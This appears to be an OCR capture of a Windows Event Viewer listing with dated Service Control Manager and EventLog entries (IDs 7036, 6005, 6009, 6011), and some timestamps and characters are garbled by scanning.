2010/11/2111:58:31 Service Control Manager 7036 T
2010/11/21 11:58:31 Service Control Manager 7036 %
2010/11/21 11:58:31 Service Control Manager 7036 %
2010/11/21 11:58:31 Service Control Manager 7036 %
2010/11/21 11:58:31 Service Control Manager 7036 %
2010/11/2111:58:31 Service Control Manager 7036 T
2021/5/3 18:41:15 EventLog 6005 7
2021/5/3 18:41:15 EventLog 6009 %
[O1ES 2021/5/3 18:41:15 EventLog 6011 % v
¥ 6011, EventLog x
AL AR
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